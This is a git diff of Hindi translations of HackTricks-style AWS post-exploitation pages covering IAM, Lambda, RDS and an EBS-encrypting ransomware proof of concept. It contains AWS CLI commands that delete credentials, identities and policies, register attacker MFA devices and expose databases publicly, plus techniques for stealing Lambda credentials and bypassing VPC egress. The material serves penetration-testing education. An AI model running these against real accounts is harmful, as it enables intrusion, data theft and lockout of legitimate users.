के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN वैल्यू लेता है। स्क्रिप्ट लक्षित AWS अकाउंट में मौजूद सभी EC2 instances पर जुड़े सभी उपलब्ध EBS volumes की encrypted कॉपियाँ बनाएगी, फिर हर EC2 instance को stop करेगी, मूल EBS volumes को detach करेगी, उन्हें delete करेगी और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगी। इससे लक्षित 'victim' अकाउंट में केवल encrypted EBS volumes ही शेष रहेंगे। केवल इस script का उपयोग TEST ENVIRONMENT में ही करें — यह destructive है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key के साथ recover कर सकते हैं और snapshots के माध्यम से इन्हें उनकी original स्थिति में restore कर सकते हैं, पर ध्यान रखें कि अंततः यह एक ransomware PoC है। +यह उपयोग किया गया python script है। यह 'victim' account के AWS creds और encryption के लिए उपयोग होने वाले key के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN value लेता है। यह script लक्षित AWS account में जुड़े सभी EC2 instances से जुड़े सभी उपलब्ध EBS volumes की encrypted copies बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete कर देगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगा। यह लक्षित 'victim' account में केवल encrypted EBS volumes ही छोड़ देगा. + +ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, यह destructive है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में restore कर सकते हैं, लेकिन मैं आपको बताना चाहता हूँ कि दिन के अंत में यह एक ransomware PoC है। ``` import boto3 import argparse @@ -583,6 +602,6 @@ main() ``` ## संदर्भ -- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे स्थानांतरित करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 287e160c1..ab101a9be 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -4,23 +4,23 @@ ## IAM -IAM एक्सेस के बारे में अधिक जानकारी के लिए: +IAM access के बारे में अधिक जानकारी के लिए: {{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy समस्या +## Confused Deputy Problem -यदि आप **किसी बाहरी अकाउंट (A)** को अपने खाते में किसी **role** तक पहुँच देने की अनुमति देते हैं, तो आम तौर पर आपके पास यह देखने की **0 visibility** होगी कि **ठीक कौन उस बाहरी अकाउंट तक पहुँच सकता है**। यह एक समस्या है, क्योंकि अगर कोई दूसरा बाहरी अकाउंट (B) बाहरी अकाउंट (A) तक पहुँच सकता है, तो संभव है कि **B भी आपके खाते तक पहुँच सके**। +यदि आप एक external account (A) को अपने account के किसी role तक पहुँच की अनुमति देते हैं, तो संभवतः आपके पास यह देखने की कोई visibility नहीं होगी कि वास्तव में कौन उस external account तक पहुँच सकता है। यह एक समस्या है, क्योंकि यदि कोई अन्य external account (B) को external account (A) तक पहुँच है तो संभव है कि B भी आपके account तक पहुँच सके। -इसलिए, जब आप किसी बाहरी अकाउंट को अपने खाते के किसी role तक पहुँच देने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" स्ट्रिंग है जिसे बाहरी अकाउंट (A) को आपकी organization में role को assume करने के लिए **निर्दिष्ट करना आवश्यक** होता है। चूंकि **बाहरी अकाउंट B को यह स्ट्रिंग पता नहीं होगी**, भले ही उसके पास A पर पहुँच हो, वह **आपकी role तक पहुँच नहीं पाएगा**। +इसलिए, जब आप किसी external account को अपने account के role तक पहुँच देते हैं तो आप `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" string है जिसे external account (A) को आपकी organization में role assume करने के लिए specify करना होगा। चूँकि external account B इस string को नहीं जानता होगा, भले ही उसके पास A तक पहुँच हो, वह आपकी role तक पहुँच नहीं पाएगा।
-हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **कोई secret नहीं है**, कोई भी जो **IAM assume role policy को पढ़ सकता है वह इसे देख पाएगा**। लेकिन जब तक बाहरी अकाउंट A को यह पता है, और बाहरी अकाउंट **B को यह पता नहीं है**, यह **B को A का दुरुपयोग कर आपके role तक पहुँचने से रोकता है**। +हालाँकि, ध्यान दें कि यह `ExternalId` "secret" वास्तव में **secret नहीं है**; कोई भी जो IAM assume role policy पढ़ सकता है वह इसे देख सकेगा। लेकिन जब तक external account A इसे जानता है और external account B इसे नहीं जानता, यह B द्वारा A का दुरुपयोग करके आपकी role तक पहुँचने को रोकता है। -उदाहरण: +Example: ```json { "Version": "2012-10-17", @@ -39,11 +39,11 @@ IAM एक्सेस के बारे में अधिक जानक } ``` > [!WARNING] -> किसी attacker के लिए confused deputy को exploit करने हेतु उसे किसी तरह यह पता लगाना होगा कि क्या principals of the current account other accounts में roles को impersonate कर सकते हैं। +> एक attacker को confused deputy को exploit करने के लिए किसी तरह यह पता लगाना होगा कि क्या current account के principals अन्य accounts में roles को impersonate कर सकते हैं। -### अनपेक्षित ट्रस्ट्स +### अनपेक्षित Trusts -#### Wildcard को principal के रूप में +#### Wildcard के रूप में principal ```json { "Action": "sts:AssumeRole", @@ -51,9 +51,9 @@ IAM एक्सेस के बारे में अधिक जानक "Principal": { "AWS": "*" } } ``` -यह नीति **allows all AWS** को role assume करने की अनुमति देती है। +यह नीति **सभी AWS** को भूमिका ग्रहण करने की अनुमति देती है। -#### Service as principal +#### सेवा को principal के रूप में ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ IAM एक्सेस के बारे में अधिक जानक "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -यह नीति **किसी भी अकाउंट को अनुमति देती है** कि वे अपने apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर कर सकें। +यह नीति **किसी भी अकाउंट** को अपने apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है। -#### S3 को प्रिंसिपल के रूप में +#### S3 को principal के रूप में ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ IAM एक्सेस के बारे में अधिक जानक } } ``` -यदि किसी principal के रूप में एक S3 bucket दिया गया है, क्योंकि S3 buckets का कोई खाता ID नहीं होता है, अगर आपने **अपना bucket हटा दिया और हमलावर ने** इसे अपने खाते में बना लिया, तो वे इसका दुरुपयोग कर सकते हैं। +यदि किसी principal के रूप में S3 bucket दिया गया है — क्योंकि S3 buckets का कोई Account ID नहीं होता — और आपने **अपने bucket को हटाया और attacker ने** इसे अपने अकाउंट में बना लिया, तो वे इसका दुरुपयोग कर सकते हैं। #### समर्थित नहीं ```json @@ -84,10 +84,10 @@ IAM एक्सेस के बारे में अधिक जानक "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Confused Deputy समस्याओं से बचने का एक सामान्य तरीका origin ARN की जाँच करने के लिए `AWS:SourceArn` के साथ एक शर्त (condition) का उपयोग करना है। हालाँकि, **कुछ सेवाएँ यह समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार, जैसे CloudTrail)। +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **कुछ सेवाएँ इसे सपोर्ट नहीं कर सकतीं** (कुछ स्रोतों के अनुसार जैसे CloudTrail)। -### क्रेडेंशियल हटाना -निम्नलिखित किसी भी अनुमतियों — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — के साथ कोई actor access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys हटा सकता है, या instance profiles से roles को disassociate कर सकता है। ऐसी क्रियाएँ वैध उपयोगकर्ताओं और एप्लिकेशनों को तुरंत ब्लॉक कर सकती हैं और उन सिस्टमों के लिए denial-of-service या पहुँच में कमी का कारण बन सकती हैं जो उन क्रेडेंशियल्स पर निर्भर करते हैं, इसलिए इन IAM अनुमतियों को सख्ती से सीमित और मॉनिटर किया जाना चाहिए। +### Credential Deletion +With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — एक actor access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys हटा सकता है, या roles को instance profiles से disassociate कर सकता है। ऐसे कार्य तुरंत वैध users और applications को ब्लॉक कर सकते हैं और उन systems के लिए denial-of-service या access खोने का कारण बन सकते हैं जो उन credentials पर निर्भर हैं, इसलिए इन IAM permissions को कड़ाई से restricted और monitored रखा जाना चाहिए। ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### पहचान हटाना -`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` जैसी अनुमतियाँ होने पर, कोई कर्ता उपयोगकर्ताओं, भूमिकाओं, या समूहों को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचानें और उनसे जुड़े ट्रेस मिट सकते हैं। इससे उन लोगों और सेवाओं की पहुँच तुरंत टूट सकती है जो उन पहचानों पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति पैदा हो सकती है, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और निगरानी में रखा जाना चाहिए। +ऐसी अनुमतियों के साथ `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup`, एक अभिकर्ता उपयोगकर्ताओं, भूमिकाओं, या समूहों को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचान और संबंधित निशान हट जाते हैं। इससे उन लोगों और सेवाओं की पहुँच जो उन पहचानों पर निर्भर हैं तुरंत बाधित हो सकती है, जिससे denial-of-service या पहुँच खोने की स्थिति हो सकती है, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित रखा जाना चाहिए और उन पर निगरानी रखी जानी चाहिए। ```bash # Delete a user aws iam delete-user \ @@ -114,7 +114,8 @@ aws iam delete-group \ aws iam delete-role \ --role-name ``` -निम्नलिखित अनुमतियों में से किसी के साथ — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — कोई actor managed/inline नीतियों को delete या detach कर सकता है, policy versions या permissions boundaries को हटा सकता है, और users, groups, या roles से नीतियों को unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions मॉडल को बदल सकता है, जिसके परिणामस्वरूप उन principals के लिए तुरंत पहुँच खोना या denial-of-service हो सकता है जो इन नीतियों पर निर्भर थे, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए। +### +निम्नलिखित अनुमतियों में से किसी के साथ — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — कोई अभिकर्ता managed/inline policies को delete या detach कर सकता है, policy versions या permissions boundaries को हटाया जा सकता है, और users, groups, या roles से policies को unlink किया जा सकता है। यह authorizations को नष्ट कर देता है और permissions मॉडल को बदल सकता है, जिससे उन principals के लिए जिनकी निर्भरता उन नीतियों पर थी तात्कालिक पहुँच खोना या denial-of-service हो सकता है, इसलिए इन IAM actions को कड़ाई से सीमित और monitored किया जाना चाहिए। ```bash # Delete a group policy aws iam delete-group-policy \ @@ -126,8 +127,8 @@ aws iam delete-role-policy \ --role-name \ --policy-name ``` -### फ़ेडरेटेड पहचान हटाना -With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, कोई व्यक्ति OIDC/SAML पहचान प्रदाताओं को हटा सकता है या client IDs निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को तोड़ देता है, टोकन सत्यापन रोकता है और उन उपयोगकर्ताओं व सेवाओं की पहुँच तुरंत रोक देता है जो SSO पर निर्भर हैं, जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित न किए जाएँ। +### फेडरेटेड पहचान हटाना +इन `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, और `iam:RemoveClientIDFromOpenIDConnectProvider` के साथ, कोई व्यक्ति OIDC/SAML identity providers को हटा सकता है या client IDs को निकाल सकता है। इससे फेडरेटेड authentication टूट जाती है, token सत्यापन रुकता है और जिन users और services का भरोसा SSO पर है उनकी पहुँच तुरंत अस्वीकार कर दी जाती है जब तक कि IdP या कॉन्फ़िगरेशन बहाल न किए जाएँ। ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,7 +139,7 @@ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` ### अवैध MFA सक्रियकरण -`iam:EnableMFADevice` के साथ, एक हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA device रजिस्टर कर सकता है, जिससे वैध उपयोगकर्ता का साइन-इन रोका जा सकता है। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक डिवाइस हटाया या रीसेट न किया जाए (नोट: यदि एकाधिक MFA devices पंजीकृत हैं, तो साइन-इन के लिए केवल एक की आवश्यकता होती है, इसलिए यह हमला एक्सेस को रोकने पर कोई प्रभाव नहीं डालेगा)। +`iam:EnableMFADevice` के साथ, एक हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA device रजिस्टर कर सकता है, जिससे वैध उपयोगकर्ता का साइन-इन रोका जा सकता है। एक बार जब एक अनधिकृत MFA सक्षम हो जाता है, तो उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक device हटाया या रीसेट न किया जाए (नोट: यदि कई MFA devices रजिस्टर्ड हैं, तो साइन-इन के लिए केवल एक ही आवश्यक होता है, इसलिए यह हमला एक्सेस रोकने पर कोई प्रभाव नहीं डालेगा)। ```bash aws iam enable-mfa-device \ --user-name \ @@ -147,7 +148,7 @@ aws iam enable-mfa-device \ --authentication-code2 789012 ``` ### प्रमाणपत्र/कुंजी मेटाडेटा छेड़छाड़ -`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भ बदलकर वे SSH प्रमाणीकरण को तोड़ सकते हैं, X.509/TLS सत्यापनों को अमान्य कर सकते हैं, और तुरंत उन सेवाओं को बाधित कर सकते हैं जो उन क्रेडेंशियल्स पर निर्भर हैं, जिससे पहुँच या उपलब्धता खो सकती है। +`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भ बदलकर, वे SSH प्रमाणीकरण को तोड़ सकते हैं, X.509/TLS सत्यापन को अमान्य कर सकते हैं, और तुरंत उन सेवाओं को बाधित कर सकते हैं जो उन क्रेडेंशियल्स पर निर्भर हैं, जिससे पहुँच या उपलब्धता का नुकसान हो सकता है। ```bash aws iam update-ssh-public-key \ --user-name \ @@ -160,7 +161,7 @@ aws iam update-server-certificate \ ``` ### `iam:Delete*` -IAM wildcard iam:Delete* कई प्रकार के IAM resources—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, आदि—हटाने की क्षमता देता है — और इसलिए इसका प्रभाव क्षेत्र बहुत बड़ा है: जिसे iam:Delete* दिया गया है वह पहचानों, क्रेडेंशियल्स, नीतियों और संबंधित आर्टिफैक्ट्स को स्थायी रूप से नष्ट कर सकता है, ऑडिट/सबूत हटा सकता है, और सेवा या संचालन में व्यवधान पैदा कर सकता है। कुछ उदाहरण हैं +The IAM wildcard iam:Delete* कई प्रकार के IAM resources — users, roles, groups, policies, keys, certificates, MFA devices, policy versions, आदि — को हटाने की क्षमता प्रदान करता है — and therefore has a very high blast radius: जिसे iam:Delete* दिया गया है वह identities, credentials, policies और संबंधित artifacts को स्थायी रूप से नष्ट कर सकता है, audit/evidence को हटा सकता है, और सेवा या संचालन में व्यवधान पैदा कर सकता है। कुछ उदाहरण हैं ```bash # Delete a user aws iam delete-user --user-name @@ -173,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam:::policy/ ``` ### `iam:EnableMFADevice` -जिस actor को iam:EnableMFADevice action दिया गया है, वह अकाउंट में किसी identity पर एक MFA device register कर सकता है, बशर्ते कि उस user के पास पहले से कोई MFA enabled न हो। इसे user के access में बाधा डालने के लिए इस्तेमाल किया जा सकता है: एक बार attacker ने MFA device register कर दिया, तो वैध user को sign in करने से रोका जा सकता है क्योंकि वे attacker द्वारा register किए गए MFA को नियंत्रित नहीं करते। +जिसे `iam:EnableMFADevice` action दिया गया हो, वह अकाउंट में किसी identity के लिए एक MFA device register कर सकता है, बशर्ते उस user के पास पहले से कोई enabled न हो। इसे user के access में हस्तक्षेप करने के लिए इस्तेमाल किया जा सकता है: एक बार attacker ने MFA device register कर दिया, तो legitimate user को signing in करने से रोका जा सकता है क्योंकि वे attacker-registered MFA को नियंत्रित नहीं करते। -यह denial-of-access attack केवल तब काम करता है जब user के पास कोई MFA registered न हो; अगर attacker उस user के लिए MFA device register कर देता है, तो वैध user उन किसी भी flows से लॉक आउट हो जाएगा जिन्हें उस नए MFA की आवश्यकता होती है। अगर user के पास पहले से एक या अधिक MFA devices उनके नियंत्रण में हों, तो attacker-नियंत्रित MFA जोड़ने से वैध user का मार्ग अवरुद्ध नहीं होता — वे किसी भी मौजूदा MFA का उपयोग करके authenticate करना जारी रख सकते हैं। +यह denial-of-access attack केवल तभी काम करता है जब user के पास पहले कोई MFA registered न हो; अगर attacker उस user के लिए MFA device register कर देता है, तो legitimate user उन किसी भी flows से locked out हो जाएगा जिन्हें उस नए MFA की आवश्यकता होती है। यदि user के पास पहले से एक या अधिक MFA devices उनके नियंत्रण में हैं, तो attacker-controlled MFA जोड़ने से legitimate user अवरुद्ध नहीं होगा — वे किसी भी मौजूदा MFA का उपयोग करके authenticate करना जारी रख सकते हैं। -To enable (register) an MFA device for a user an attacker could run: +एक user के लिए MFA device enable (register) करने के लिए attacker निम्न चला सकता है: ```bash aws iam enable-mfa-device \ --user-name \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index c64d80d70..d1ff0c5fb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -12,27 +12,27 @@ For more information check: ### Exfilrtate Lambda Credentials -Lambda रनटाइम पर credentials इंजेक्ट करने के लिए environment variables का उपयोग करता है। अगर आप इन्हें एक्सेस कर पाते हैं (जैसे `/proc/self/environ` पढ़कर या vulnerable function का स्वयं उपयोग करके), तो आप इन्हें खुद उपयोग कर सकते हैं। ये डिफ़ॉल्ट वेरिएबल नामों में रहते हैं `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID`। +Lambda runtime में credentials inject करने के लिए environment variables का उपयोग करता है। अगर आप इन्हें एक्सेस कर पाते हैं (जैसे `/proc/self/environ` पढ़कर या vulnerable function का उपयोग करके), तो आप इन credentials का स्वयं उपयोग कर सकते हैं। ये डिफ़ॉल्ट variable नामों में पाए जाते हैं `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID`। -डिफ़ॉल्ट रूप से, इनको cloudwatch log group में लिखने की अनुमति होती है (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में संग्रहीत होता है), साथ ही arbitrary log groups बनाने की भी अनुमति होती है; हालांकि lambda functions अक्सर उनके intended use के आधार पर अधिक permissions दिए गए होते हैं। +डिफ़ॉल्ट रूप से, इनका access cloudwatch log group में लिखने के लिए होगा (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में संग्रहीत होता है), और arbitrary log groups बनाने की अनुमति भी होगी; हालाँकि lambda functions अक्सर उनके उद्देश्य के आधार पर अधिक अनुमतियों के साथ असाइन किए जाते हैं। ### `lambda:Delete*` -lambda:Delete* दिया गया attacker Lambda functions, versions/aliases, layers, event source mappings और अन्य संबंधित configurations को हटा सकता है। +एक attacker जिसे lambda:Delete* प्रदान की गई हो, वह Lambda functions, versions/aliases, layers, event source mappings और अन्य संबंधित configurations को हटा सकता है। ```bash aws lambda delete-function \ --function-name ``` -### Steal Others Lambda URL Requests +### दूसरों के Lambda URL अनुरोध चुराना -अगर कोई हमलावर किसी तरह से Lambda के अंदर RCE प्राप्त कर लेता है तो वह अन्य उपयोगकर्ताओं के HTTP requests जो lambda को भेजे जा रहे हैं उन्हें चुरा सकता है। अगर इन requests में संवेदनशील जानकारी (cookies, credentials...) है तो वह उन्हें चुरा सकेगा। +यदि कोई attacker किसी तरह Lambda के अंदर RCE प्राप्त कर लेता है, तो वह अन्य users के HTTP अनुरोधों को lambda से चुरा सकता है। यदि उन अनुरोधों में संवेदनशील जानकारी (cookies, credentials...) हो तो वह उन्हें चुरा सकेगा। {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### दूसरों के Lambda URL अनुरोध और Extensions अनुरोध चुराना -Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के lambda में persist करना संभव है, और साथ ही अनुरोधों को चुराना और संशोधित करना भी। +Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के Lambda में persistence हासिल करना और अनुरोधों को चुराना तथा संशोधित करना संभव है। {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -40,7 +40,7 @@ Lambda Layers का दुरुपयोग करके extensions का भ ### AWS Lambda – VPC Egress Bypass -एक खाली VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ इसके configuration को अपडेट करके एक Lambda function को restricted VPC से बाहर जबरदस्ती निकाला जा सकता है। ऐसा होने पर function Lambda-managed networking plane में चलेगा, जिससे outbound internet access फिर से मिल जाएगा और बिना NAT वाले private VPC subnets द्वारा लागू किये गए egress controls बायपास हो जाएंगे। +खाली VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ उसकी configuration अपडेट करके किसी restricted VPC से Lambda function को बाहर धकेला जा सकता है। फिर function Lambda-managed networking plane में चलेगा, आउटबाउन्ड इंटरनेट एक्सेस फिर से प्राप्त कर लेगा और NAT के बिना private VPC subnets द्वारा लागू किए गए egress controls को बायपास कर देगा। {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी function को एक specific runtime version (Manual) पर pin किया जा सकता है या updates को freeze (FunctionUpdate) किया जा सकता है। यह malicious layers/wrappers के साथ compatibility बनाए रखता है और function को पुराने, kwetsbare runtime पर रखने से exploitation और long-term persistence में मदद मिल सकती है। +`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी function को एक specific runtime version (Manual) पर पिन किया जा सकता है या updates को freeze (FunctionUpdate) किया जा सकता है। यह malicious layers/wrappers के साथ compatibility बनाए रखता है और function को पुराने, vulnerable runtime पर रोक कर exploitation और long-term persistence में मदद कर सकता है। {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। यह बिना code या execution role बदले काम करता है (अधिकांश Lambda roles में पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` शामिल होते हैं via `AWSLambdaBasicExecutionRole`)। अगर function secrets/request bodies प्रिंट करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं। +`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। इसके लिए code या execution role बदले बिना काम हो जाता है (ज्यादातर Lambda roles पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` को `AWSLambdaBasicExecutionRole` के माध्यम से शामिल करते हैं)। यदि function secrets/request bodies प्रिंट करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं। {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Function URL AuthType को NONE में बदलकर और सभी को lambda:InvokeFunctionUrl देने वाली resource-based policy attach करके एक private Lambda Function URL को public unauthenticated endpoint में बदल दिया जा सकता है। इससे internal functions की anonymous invocation संभव होती है और संवेदनशील backend operations expose हो सकते हैं। +Function URL AuthType को NONE में बदलकर और एक resource-based policy जोड़कर जो lambda:InvokeFunctionUrl को सभी को दे, आप किसी private Lambda Function URL को public unauthenticated endpoint में बदल सकते हैं। इससे internal functions का anonymous invocation संभव हो जाता है और संवेदनशील backend operations प्रकटीकरण का खतरा बढ़ जाता है। {{#ref}} aws-lambda-function-url-public-exposure.md @@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -`UpdateEventSourceMapping` का दुरुपयोग करके किसी मौजूदा Event Source Mapping (ESM) के target Lambda function को बदल दिया जा सकता है ताकि DynamoDB Streams, Kinesis, या SQS से आने वाले records attacker-controlled function को पहुँचें। यह producers या original function code को छुए बिना live data को चुपचाप divert कर देता है। +`UpdateEventSourceMapping` का दुरुपयोग करके मौजूदा Event Source Mapping (ESM) के target Lambda function को बदल दिया जा सकता है ताकि DynamoDB Streams, Kinesis, या SQS से आने वाले records attacker-controlled function को भेजे जाएं। यह producers या original function code को छुए बिना live डेटा को चुपके से divert कर देता है। {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी मौजूदा EFS Access Point को एक Lambda से attach किया जा सकता है, फिर सरल code deploy करके mounted path से files list/read कर के shared secrets/config जिन्हें function पहले access नहीं कर पाता था, उन्हें exfiltrate किया जा सकता है। +`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी मौजूदा EFS Access Point को Lambda से attach किया जा सकता है, फिर trivial code deploy करके mounted path से files list/read कर के shared secrets/config जो पहले function के पहुंच में नहीं थे, उन्हें exfiltrate किया जा सकता है। {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index d36c50f1e..f41f6fafb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -यदि attacker के पास पर्याप्त permissions हैं, तो वह DB का snapshot बनाकर, और फिर उस snapshot से एक publicly accessible DB बनाकर **DB publicly accessible** बना सकता है। +यदि हमलावर के पास पर्याप्त permissions हों, तो वह DB का एक snapshot बनाकर और फिर उस snapshot से एक publicly accessible DB बनाकर DB को सार्वजनिक रूप से पहुँचयोग्य बना सकता है। ```bash aws rds describe-db-instances # Get DB identifier @@ -39,21 +39,22 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` ### `rds:StopDBCluster` & `rds:StopDBInstance` -rds:StopDBCluster या rds:StopDBInstance वाले हमलावर एक 